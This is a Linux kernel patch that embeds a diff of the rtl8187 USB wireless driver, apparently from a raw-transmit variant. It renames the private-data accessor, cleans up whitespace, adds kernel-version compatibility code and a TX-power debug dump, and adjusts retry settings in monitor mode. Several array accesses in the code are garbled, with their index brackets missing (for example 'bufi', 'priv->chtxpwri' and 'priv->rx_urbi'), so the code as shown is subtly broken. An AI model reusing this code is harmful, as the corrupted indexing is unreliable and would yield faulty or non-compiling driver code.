+ static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev)
+ {
+-       struct r8180_priv *priv = ieee80211_priv(dev);
++       struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+        return &priv->wstats;
+ }
+@@ -679,8 +757,8 @@
+ 	.private = r8180_private_handler,
+ 	.num_private = sizeof(r8180_private_handler) / sizeof(iw_handler),
+  	.num_private_args = sizeof(r8180_private_args) / sizeof(struct iw_priv_args),
+-#if WIRELESS_EXT >= 17	
++#if WIRELESS_EXT >= 17
+ 	.get_wireless_stats = r8180_get_wireless_stats,
+ #endif
+-	.private_args = (struct iw_priv_args *)r8180_private_args,	
++	.private_args = (struct iw_priv_args *)r8180_private_args,
+ };
+diff -Naur rtl8187_orig/beta-8187/r8187_core.c rtl8187_rawtx/beta-8187/r8187_core.c
+--- rtl8187_orig/beta-8187/r8187_core.c	2007-03-13 23:45:09.000000000 +0100
++++ rtl8187_rawtx/beta-8187/r8187_core.c	2007-06-21 23:44:42.000000000 +0200
+@@ -1,27 +1,27 @@
+ /*
+    This is part of rtl8187 OpenSource driver - v 0.1
+-   Copyright (C) Andrea Merello 2005  <andreamrl@tiscali.it> 
++   Copyright (C) Andrea Merello 2005  <andreamrl@tiscali.it>
+    Released under the terms of GPL (General Public License)
+-   
+-   
+-   Parts of this driver are based on the rtl8180 driver skeleton 
++
++
++   Parts of this driver are based on the rtl8180 driver skeleton
+    from Patric Schenke & Andres Salomon.
+ 
+    Parts of this driver are based on the Intel Pro Wireless 2*00 GPL drivers.
+-   
++
+    some ideas might be derived from David Young rtl8180 netbsd driver.
+-   
++
+    Parts of the usb code are from the r8150.c driver in linux kernel
+-   
++
+    Some ideas borrowed from the 8139too.c driver included in linux kernel.
+-   
+-   We (I?) want to thanks the Authors of those projecs and also the 
++
++   We (I?) want to thanks the Authors of those projecs and also the
+    Ndiswrapper's project Authors.
+-   
+-   A special big thanks goes also to Realtek corp. for their help in my 
+-   attempt to add RTL8187 and RTL8225 support, and to David Young also. 
+ 
+-	- Please note that this file is a modified version from rtl8180-sa2400 
++   A special big thanks goes also to Realtek corp. for their help in my
++   attempt to add RTL8187 and RTL8225 support, and to David Young also.
++
++	- Please note that this file is a modified version from rtl8180-sa2400
+ 	drv. So some other people have contributed to this project, and they are
+ 	thanked in the rtl8180-sa2400 CHANGELOG.
+ */
+@@ -57,6 +57,7 @@
+ #undef DEBUG_IRQ_TASKLET
+ #undef DEBUG_TX_ALLOC
+ #undef DEBUG_TX_DESC
++#undef DEBUG_TX_POWER
+ 
+ //#define CONFIG_RTL8180_IO_MAP
+ 
+@@ -66,6 +67,9 @@
+ #include "r8180_93cx6.h"   /* Card EEPROM */
+ #include "r8180_wx.h"
+ 
++#if !(defined(CONFIG_USB_EHCI_HCD) || defined (CONFIG_USB_EHCI_HCD_MODULE))
++	#error	Build your kernel with ehci_hcd support!
++#endif
+ 
+ // FIXME: check if 2.6.7 is ok
+ #if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,7))
+@@ -98,6 +102,10 @@
+ #endif
+ static int channels = 0x3fff;
+ 
++// #define DEBUG_EPROM
++// #define DEBUG_REGISTERS
++// #define DEBUG_TX_POWER
++
+ MODULE_LICENSE("GPL");
+ MODULE_VERSION("V 1.1");
+ MODULE_DEVICE_TABLE(usb, rtl8187_usb_id_tbl);
+@@ -137,7 +145,7 @@
+ 
+ static int __devinit rtl8187_usb_probe(struct usb_interface *intf,
+ 			 const struct usb_device_id *id);
+-			 
++
+ static void __devexit rtl8187_usb_disconnect(struct usb_interface *intf);
+ 
+ static struct usb_driver rtl8187_usb_driver = {
+@@ -158,13 +166,12 @@
+ #endif
+ };
+ 
+-
+ void write_nic_byte_E(struct net_device *dev, int indx, u8 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xfe00, 0, &data, 1, HZ / 2);
+@@ -173,10 +180,10 @@
+ 
+ void write_nic_byte(struct net_device *dev, int indx, u8 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xff00, 0, &data, 1, HZ / 2);
+@@ -185,10 +192,10 @@
+ 
+ void write_nic_word(struct net_device *dev, int indx, u16 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xff00, 0, &data, 2, HZ / 2);
+@@ -197,23 +204,23 @@
+ 
+ void write_nic_dword(struct net_device *dev, int indx, u32 data)
+ {
+-	
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_sndctrlpipe(udev, 0),
+ 			       RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE,
+ 			       indx|0xff00, 0, &data, 4, HZ / 2);
+ }
+- 
+- 
+- 
++
++
++
+ u8 read_nic_byte(struct net_device *dev, int indx)
+ {
+ 	u8 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xff00, 0, &data, 1, HZ / 2);
+@@ -223,22 +230,22 @@
+ u8 read_nic_byte_E(struct net_device *dev, int indx)
+ {
+ 	u8 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xfe00, 0, &data, 1, HZ / 2);
+ 	return data;
+ }
+ 
+- 
++
+ u16 read_nic_word(struct net_device *dev, int indx)
+ {
+ 	u16 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xff00, 0, &data, 2, HZ / 2);
+@@ -249,16 +256,16 @@
+ u32 read_nic_dword(struct net_device *dev, int indx)
+ {
+ 	u32 data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	struct usb_device *udev = priv->udev;
+-	
++
+ 	usb_control_msg(udev, usb_rcvctrlpipe(udev, 0),
+ 			       RTL8187_REQ_GET_REGS, RTL8187_REQT_READ,
+ 			       indx|0xff00, 0, &data, 4, HZ / 2);
+ 	return data;
+ }
+ 
+-/* this might still called in what was the PHY rtl8185/rtl8187 common code 
++/* this might still called in what was the PHY rtl8185/rtl8187 common code
+  * plans are to possibilty turn it again in one common code...
+  */
+ inline void force_pci_posting(struct net_device *dev)
+@@ -271,7 +278,12 @@
+ //void set_nic_txring(struct net_device *dev);
+ static struct net_device_stats *rtl8180_stats(struct net_device *dev);
+ void rtl8180_commit(struct net_device *dev);
++
++# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20))
++void rtl8180_restart(struct work_struct *work);
++#else
+ void rtl8180_restart(struct net_device *dev);
++#endif
+ 
+ /****************************************************************************
+    -----------------------------PROCFS STUFF-------------------------
+@@ -284,13 +296,13 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+ 	int i,n;
+-			
++
+ 	int max=0xff;
+-	
++
+ 	/* This dump the current register page */
+ 	for(n=0;n<=max;)
+ 	{
+@@ -307,7 +319,7 @@
+ 	len += snprintf(page + len, count - len,"\n");
+ 
+ 
+-		
++
+ 	*eof = 1;
+ 	return len;
+ 
+@@ -319,16 +331,16 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+-	
++
+ 	len += snprintf(page + len, count - len,
+ 		"NIC int: %lu\n"
+ 		"Total int: %lu\n",
+ 		priv->stats.ints,
+ 		priv->stats.shints);
+-			
++
+ 	*eof = 1;
+ 	return len;
+ }
+@@ -339,10 +351,10 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+-	
++
+ 	len += snprintf(page + len, count - len,
+ 		"TX normal priority ok int: %lu\n"
+ 		"TX normal priority error int: %lu\n"
+@@ -359,7 +371,7 @@
+ 		"TX HW queue: %d\n"
+ 		"TX lp dropped: %lu\n"
+ 		"TX np dropped: %lu\n"
+-		"TX total data packets %lu\n",		
++		"TX total data packets %lu\n",
+ //		"TX beacon aborted: %lu\n",
+ 		priv->stats.txnpokint,
+ 		priv->stats.txnperr,
+@@ -379,10 +391,10 @@
+ 		priv->stats.txdatapkt
+ //		priv->stats.txbeaconerr
+ 		);
+-			
++
+ 	*eof = 1;
+ 	return len;
+-}		
++}
+ 
+ 
+ 
+@@ -391,10 +403,10 @@
+ 			  int *eof, void *data)
+ {
+ 	struct net_device *dev = data;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	int len = 0;
+-	
++
+ 	len += snprintf(page + len, count - len,
+ 		"RX packets: %lu\n"
+ 		"RX urb status error: %lu\n"
+@@ -402,21 +414,22 @@
+ 		priv->stats.rxok,
+ 		priv->stats.rxstaterr,
+ 		priv->stats.rxurberr);
+-			
++
+ 	*eof = 1;
+ 	return len;
+-}		
+-
++}
+ 
++#if WIRELESS_EXT < 17
+ static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev)
+ {
+-       struct r8180_priv *priv = ieee80211_priv(dev);
++       struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 
+        return &priv->wstats;
+ }
++#endif
+ 
+ void rtl8180_proc_module_init(void)
+-{	
++{
+ 	DMESG("Initializing proc filesystem");
+ 	rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net);
+ }
+@@ -430,7 +443,7 @@
+ 
+ void rtl8180_proc_remove_one(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	if (priv->dir_dev) {
+ 	//	remove_proc_entry("stats-hw", priv->dir_dev);
+ 		remove_proc_entry("stats-tx", priv->dir_dev);
+@@ -447,9 +460,9 @@
+ void rtl8180_proc_init_one(struct net_device *dev)
+ {
+ 	struct proc_dir_entry *e;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	priv->dir_dev = create_proc_entry(dev->name, 
+-					  S_IFDIR | S_IRUGO | S_IXUGO, 
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++	priv->dir_dev = create_proc_entry(dev->name,
++					  S_IFDIR | S_IRUGO | S_IXUGO,
+ 					  rtl8180_proc);
+ 	if (!priv->dir_dev) {
+ 		DMESGE("Unable to initialize /proc/net/rtl8187/%s\n",
+@@ -459,7 +472,7 @@
+ 	#if 0
+ 	e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_hw, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-hw\n",
+@@ -468,17 +481,17 @@
+ 	#endif
+ 	e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_rx, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-rx\n",
+ 		      dev->name);
+ 	}
+-	
+-	
++
++
+ 	e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_tx, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-tx\n",
+@@ -487,27 +500,27 @@
+ 	#if 0
+ 	e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_ieee, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-ieee\n",
+ 		      dev->name);
+ 	}
+-	
+-	
++
++
+ 	e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_stats_ap, dev);
+-				   
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/stats-ap\n",
+ 		      dev->name);
+ 	}
+ 	#endif
+-	
++
+ 	e = create_proc_read_entry("registers", S_IFREG | S_IRUGO,
+ 				   priv->dir_dev, proc_get_registers, dev);
+-	
++
+ 	if (!e) {
+ 		DMESGE("Unable to initialize "
+ 		      "/proc/net/rtl8187/%s/registers\n",
+@@ -523,14 +536,14 @@
+ {
+ 	int i;
+ 	u8 *buf =(u8*)buffer;
+-	
++
+ 	printk("ASCII BUFFER DUMP (len: %x):\n",len);
+-	
++
+ 	for(i=0;i<len;i++)
+ 		printk("%c",bufi);
+-		
++
+ 	printk("\nBINARY BUFFER DUMP (len: %x):\n",len);
+-	
++
+ 	for(i=0;i<len;i++)
+ 		printk("%x",bufi);
+ 
+@@ -539,17 +552,17 @@
+ 
+ short check_nic_enought_desc(struct net_device *dev, priority_t priority)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
+-	
+-	int used = atomic_read((priority == NORM_PRIORITY) ? 
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++
++	int used = atomic_read((priority == NORM_PRIORITY) ?
+ 		&priv->tx_np_pending : &priv->tx_lp_pending);
+-	
++
+ 	return (used < MAX_TX_URB);
+ }
+ 
+ void tx_timeout(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	//rtl8180_commit(dev);
+ 	schedule_work(&priv->reset_wq);
+ 	//DMESG("TXTIMEOUT");
+@@ -561,7 +574,20 @@
+ {
+ 	int i;
+ 	for(i=0; i<63; i++)
+-		DMESG("EEPROM addr %x : %x", i, eprom_read(dev,i));
++		DMESG("EEPROM addr %02X : %04X", i, eprom_read(dev,i));
++}
++
++/* this is only for debug */
++void dump_tx_power(struct net_device *dev)
++{
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
++	int i;
++	DMESG("CCK TX-Power (b-mode):");
++	for(i=1; i<=14; i++)
++		DMESG("Channel %d: %d", i, priv->chtxpwri);
++	DMESG("OFDM TX-Power (g-mode):");
++	for(i=1; i<=14; i++)
++		DMESG("Channel %d: %d", i, priv->chtxpwr_ofdmi);
+ }
+ 
+ /* this is only for debug */
+@@ -570,14 +596,14 @@
+ 	int i;
+ 	int n;
+ 	int max=0xff;
+-	
+-	DMESG("Dumping NIC register map");	
+-	
++
++	DMESG("Dumping NIC register map");
++
+ 	for(n=0;n<=max;)
+ 	{
+-		printk( "\nD: %2x> ", n);
++		printk( "\nD: %02X> ", n);
+ 		for(i=0;i<16 && n<=max;i++,n++)
+-			printk("%2x ",read_nic_byte(dev,n));
++			printk("%02X ",read_nic_byte(dev,n));
+ 	}
+ 	printk("\n");
+ }
+@@ -589,11 +615,11 @@
+ 
+ void rtl8180_irq_enable(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	//priv->irq_enabled = 1;
+ /*
+-	write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ 
+-	INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ 
++	write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\
++	INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\
+ 	INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\
+ 	INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT);
+ */
+@@ -603,7 +629,7 @@
+ 
+ void rtl8180_irq_disable(struct net_device *dev)
+ {
+-//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);	
++//	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 
+ 	write_nic_word(dev,INTA_MASK,0);
+ 	force_pci_posting(dev);
+@@ -625,115 +651,119 @@
+ 
+ void rtl8180_update_msr(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = ieee80211_priv(dev);
++	struct r8180_priv *priv = ieee80211_priv_rtl7(dev);
+ 	u8 msr;
+-	
++
+ 	msr  = read_nic_byte(dev, MSR);
+ 	msr &= ~ MSR_LINK_MASK;
+-	
++
+ 	/* do not change in link_state != WLAN_LINK_ASSOCIATED.
+-	 * msr must be updated if the state is ASSOCIATING. 
++	 * msr must be updated if the state is ASSOCIATING.
+ 	 * this is intentional and make sense for ad-hoc and
+ 	 * master (see the create BSS/IBSS func)
+ 	 */
+-	if (priv->ieee80211->state == IEEE80211_LINKED){ 
+-			
++	if (priv->ieee80211->state == IEEE80211_LINKED){
++
+ 		if (priv->ieee80211->iw_mode == IW_MODE_INFRA)
+ 			msr |= (MSR_LINK_MANAGED<<MSR_LINK_SHIFT);
+ 		else if (priv->ieee80211->iw_mode == IW_MODE_ADHOC)
+ 			msr |= (MSR_LINK_ADHOC<<MSR_LINK_SHIFT);
+ 		else if (priv->ieee80211->iw_mode == IW_MODE_MASTER)
+ 			msr |= (MSR_LINK_MASTER<<MSR_LINK_SHIFT);
+-		
++
+ 	}else
+ 		msr |= (MSR_LINK_NONE<<MSR_LINK_SHIFT);
+-		
++
+ 	write_nic_byte(dev, MSR, msr);
+ }
+ 
+ void rtl8180_set_chan(struct net_device *dev,short ch)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	u32 tx;
+ 	priv->chan=ch;
+ 	#if 0
+-	if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || 
++	if(priv->ieee80211->iw_mode == IW_MODE_ADHOC ||
+ 		priv->ieee80211->iw_mode == IW_MODE_MASTER){
+-	
+-			priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED;	
++
++			priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED;
+ 			priv->ieee80211->master_chan = ch;
+-			rtl8180_update_beacon_ch(dev); 
++			rtl8180_update_beacon_ch(dev);
+ 		}
+ 	#endif
+-	
++
+ 	/* this hack should avoid frame TX during channel setting*/
+ 	tx = read_nic_dword(dev,TX_CONF);
+ 	tx &= ~TX_LOOPBACK_MASK;
+ 
+-#ifndef LOOP_TEST	
++#ifndef LOOP_TEST
+ 	write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<<TX_LOOPBACK_SHIFT));
+-
+ 	priv->rf_set_chan(dev,priv->chan);
+ 	mdelay(10);
+-	write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<<TX_LOOPBACK_SHIFT));
++ 	write_nic_dword(dev,TX_CONF,tx | (TX_LOOPBACK_NONE<<TX_LOOPBACK_SHIFT));
+ #endif
+ }
++
++#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19))
+ void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs);
++#else
++void rtl8187_rx_isr(struct urb *rx_urb);
++#endif
+ 
+ 
+ void rtl8187_rx_urbsubmit(struct net_device *dev, struct urb* rx_urb)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	int err;
+-	
++
+ //	u8 *rx;
+-	
++
+ 	//DMESG("starting RX");
+ 	/*rx = kmalloc(RX_URB_SIZE*sizeof(u8),GFP_ATOMIC);
+-	if(!rx){ 
++	if(!rx){
+ 		DMESGE("unable to allocate RX buffer");
+ 		return;
+ 	}*/
+-	
++
+ 	usb_fill_bulk_urb(rx_urb,priv->udev,
+ 		usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer,
+ 			RX_URB_SIZE,rtl8187_rx_isr,dev);
+-	err = usb_submit_urb(rx_urb, GFP_ATOMIC);	
++	err = usb_submit_urb(rx_urb, GFP_ATOMIC);
+ 	if(err && err != -EPERM){
+ 		DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status);
+-		
++
+ 	}
+-	
++
+ }
+ 
+ 
+ void rtl8187_rx_initiate(struct net_device *dev)
+ {
+ 	int i;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	if(!priv->rx_urb)
+ 		DMESGE("Cannot intiate RX urb mechanism");
+-	for(i=0;i<MAX_RX_URB;i++) // RX_MAX_URB is 1 
++	for(i=0;i<MAX_RX_URB;i++) // RX_MAX_URB is 1
+ 		rtl8187_rx_urbsubmit(dev,priv->rx_urbi);
+-		
++
+ }
+ 
+ void rtl8187_set_rxconf(struct net_device *dev)
+ {
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
+ 	u32 rxconf;
+-	
++
+ 	rxconf=read_nic_dword(dev,RX_CONF);
+ 	rxconf = rxconf &~ MAC_FILTER_MASK;
+ 	rxconf = rxconf | (1<<ACCEPT_MNG_FRAME_SHIFT);
+ 	rxconf = rxconf | (1<<ACCEPT_DATA_FRAME_SHIFT);
+ 	rxconf = rxconf | (1<<ACCEPT_BCAST_FRAME_SHIFT);
+ 	rxconf = rxconf | (1<<ACCEPT_MCAST_FRAME_SHIFT);
+-	rxconf = rxconf | (1<<ACCEPT_CTL_FRAME_SHIFT);	
++	rxconf = rxconf | (1<<ACCEPT_CTL_FRAME_SHIFT);
+ 
+ 	if (dev->flags & IFF_PROMISC) DMESG ("NIC in promisc mode");
+-	
++
+ 	if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \
+ 	   dev->flags & IFF_PROMISC){
+ 		rxconf = rxconf | (1<<ACCEPT_ALLMAC_FRAME_SHIFT);
+@@ -741,40 +771,40 @@
+ 		rxconf = rxconf | (1<<ACCEPT_NICMAC_FRAME_SHIFT);
+ 		rxconf = rxconf | (1<<RX_CHECK_BSSID_SHIFT);
+ 	}
+-	
++
+ 	/*if(priv->ieee80211->iw_mode == IW_MODE_MASTER){
+ 		rxconf = rxconf | (1<<ACCEPT_ALLMAC_FRAME_SHIFT);
+ 		rxconf = rxconf | (1<<RX_CHECK_BSSID_SHIFT);
+ 	}*/
+-	
++
+ 	if(priv->ieee80211->iw_mode == IW_MODE_MONITOR){
+ 		rxconf = rxconf | (1<<ACCEPT_ICVERR_FRAME_SHIFT);
+ 		rxconf = rxconf | (1<<ACCEPT_PWR_FRAME_SHIFT);
+ 	}
+-	
++
+ 	if( priv->crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR)
+ 		rxconf = rxconf | (1<<ACCEPT_CRCERR_FRAME_SHIFT);
+-	
+-	
++
++
+ 	rxconf = rxconf &~ RX_FIFO_THRESHOLD_MASK;
+ 	rxconf = rxconf | (RX_FIFO_THRESHOLD_NONE<<RX_FIFO_THRESHOLD_SHIFT);
+-	
+-	
++
++
+ 	rxconf = rxconf | (1<<RX_AUTORESETPHY_SHIFT);
+-	
++
+ 	rxconf = rxconf &~ MAX_RX_DMA_MASK;
+ 	rxconf = rxconf | (MAX_RX_DMA_2048<<MAX_RX_DMA_SHIFT);
+-	
++
+ 	rxconf = rxconf | RCR_ONLYERLPKT;
+-	
++
+ //	rxconf = rxconf &~ RCR_CS_MASK;
+ //	rxconf = rxconf | (1<<RCR_CS_SHIFT);
+ 
+-	write_nic_dword(dev, RX_CONF, rxconf);	
+-	
++	write_nic_dword(dev, RX_CONF, rxconf);
++
+ 	// V rtl suggested V //
+ //	write_nic_dword(dev, RX_CONF, 0x901ce70e);
+-	
++
+ 	//fix_rx_fifo(dev);
+ // 	//set_nic_rxring(dev);
+ 	#ifdef DEBUG_RX
+@@ -785,23 +815,23 @@
+ void rtl8180_rx_enable(struct net_device *dev)
+ {
+ 	u8 cmd;
+-	
+-	
++
++
+ 	rtl8187_rx_initiate(dev);
+ 
+-	rtl8187_set_rxconf(dev);	
++	rtl8187_set_rxconf(dev);
+ 
+ 	cmd=read_nic_byte(dev,CMD);
+ 	write_nic_byte(dev,CMD,cmd | (1<<CMD_RX_ENABLE_SHIFT));
+ #if 0
+-	/* In rtl8139 driver seems that DMA threshold has to be written 
+-	 *  after enabling RX, so we rewrite RX_CONFIG register 
++	/* In rtl8139 driver seems that DMA threshold has to be written
++	 *  after enabling RX, so we rewrite RX_CONFIG register
+ 	 */
+ 	//mdelay(100);
+-	write_nic_dword(dev, RX_CONF, rxconf); 
+-	
++	write_nic_dword(dev, RX_CONF, rxconf);
++
+ #endif
+-	
++
+ }
+ 
+ 
+@@ -810,37 +840,37 @@
+ 	u8 cmd;
+ 	u8 byte;
+ 	u32 txconf;
+-	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev);
+-	
++	struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv_rtl7(dev);
++
+ 	byte = read_nic_byte(dev,CW_CONF);
+ 	byte &= ~(1<<CW_CONF_PERPACKET_CW_SHIFT);
+ 	byte &= ~(1<<CW_CONF_PERPACKET_RETRY_SHIFT);
+ 	write_nic_byte(dev, CW_CONF, byte);
+-	
++
+ 	byte = read_nic_byte(dev, TX_AGC_CTL);
+ 	byte &= ~(1<<TX_AGC_CTL_PERPACKET_GAIN_SHIFT);
+ 	byte &= ~(1<<TX_AGC_CTL_PERPACKET_ANTSEL_SHIFT);
+ 	byte &= ~(1<<TX_AGC_CTL_FEEDBACK_ANT);
+ 	write_nic_byte(dev, TX_AGC_CTL, byte);
+-	
++
+ 	txconf= read_nic_dword(dev,TX_CONF);
+-	
++
+ 	#if 0
+ 	if(priv->card_8185){
+-		
++
+ 		txconf = txconf &~ (1<<TCR_PROBE_NOTIMESTAMP_SHIFT);
+-	
++
+ 	}else{
+-	
+-		if(priv->ieee80211->hw_seq) 
++
++		if(priv->ieee80211->hw_seq)
+ 			txconf= txconf &~ (1<<TX_CONF_HEADER_AUTOICREMENT_SHIFT);
+-		else 
++		else
+ 			txconf= txconf | (1<<TX_CONF_HEADER_AUTOICREMENT_SHIFT);
+ 	}
+ 	#endif
+ 
+ 	txconf = txconf &~ TX_LOOPBACK_MASK;
+-	
++
+ #ifndef LOOP_TEST
+ 	txconf = txconf | (TX_LOOPBACK_NONE<<TX_LOOPBACK_SHIFT);
+ #else
+@@ -848,23 +878,26 @@
+ #endif
+ 	txconf = txconf &~ TCR_DPRETRY_MASK;
+ 	txconf = txconf &~ TCR_RTSRETRY_MASK;
+-	
+-	txconf = txconf | (priv->retry_data<<TX_DPRETRY_SHIFT); // long
+-	txconf = txconf | (priv->retry_rts<<TX_RTSRETRY_SHIFT); // short
+-	
++
++	if(priv->ieee80211->iw_mode != IW_MODE_MONITOR)
++	{
++		txconf = txconf | (priv->retry_data<<TX_DPRETRY_SHIFT); // long
++		txconf = txconf | (priv->retry_rts<<TX_RTSRETRY_SHIFT); // short
++	}
++
+ 	txconf = txconf &~ (1<<TX_NOCRC_SHIFT);
+-	
++
+ 	txconf = txconf &~ TCR_MXDMA_MASK;
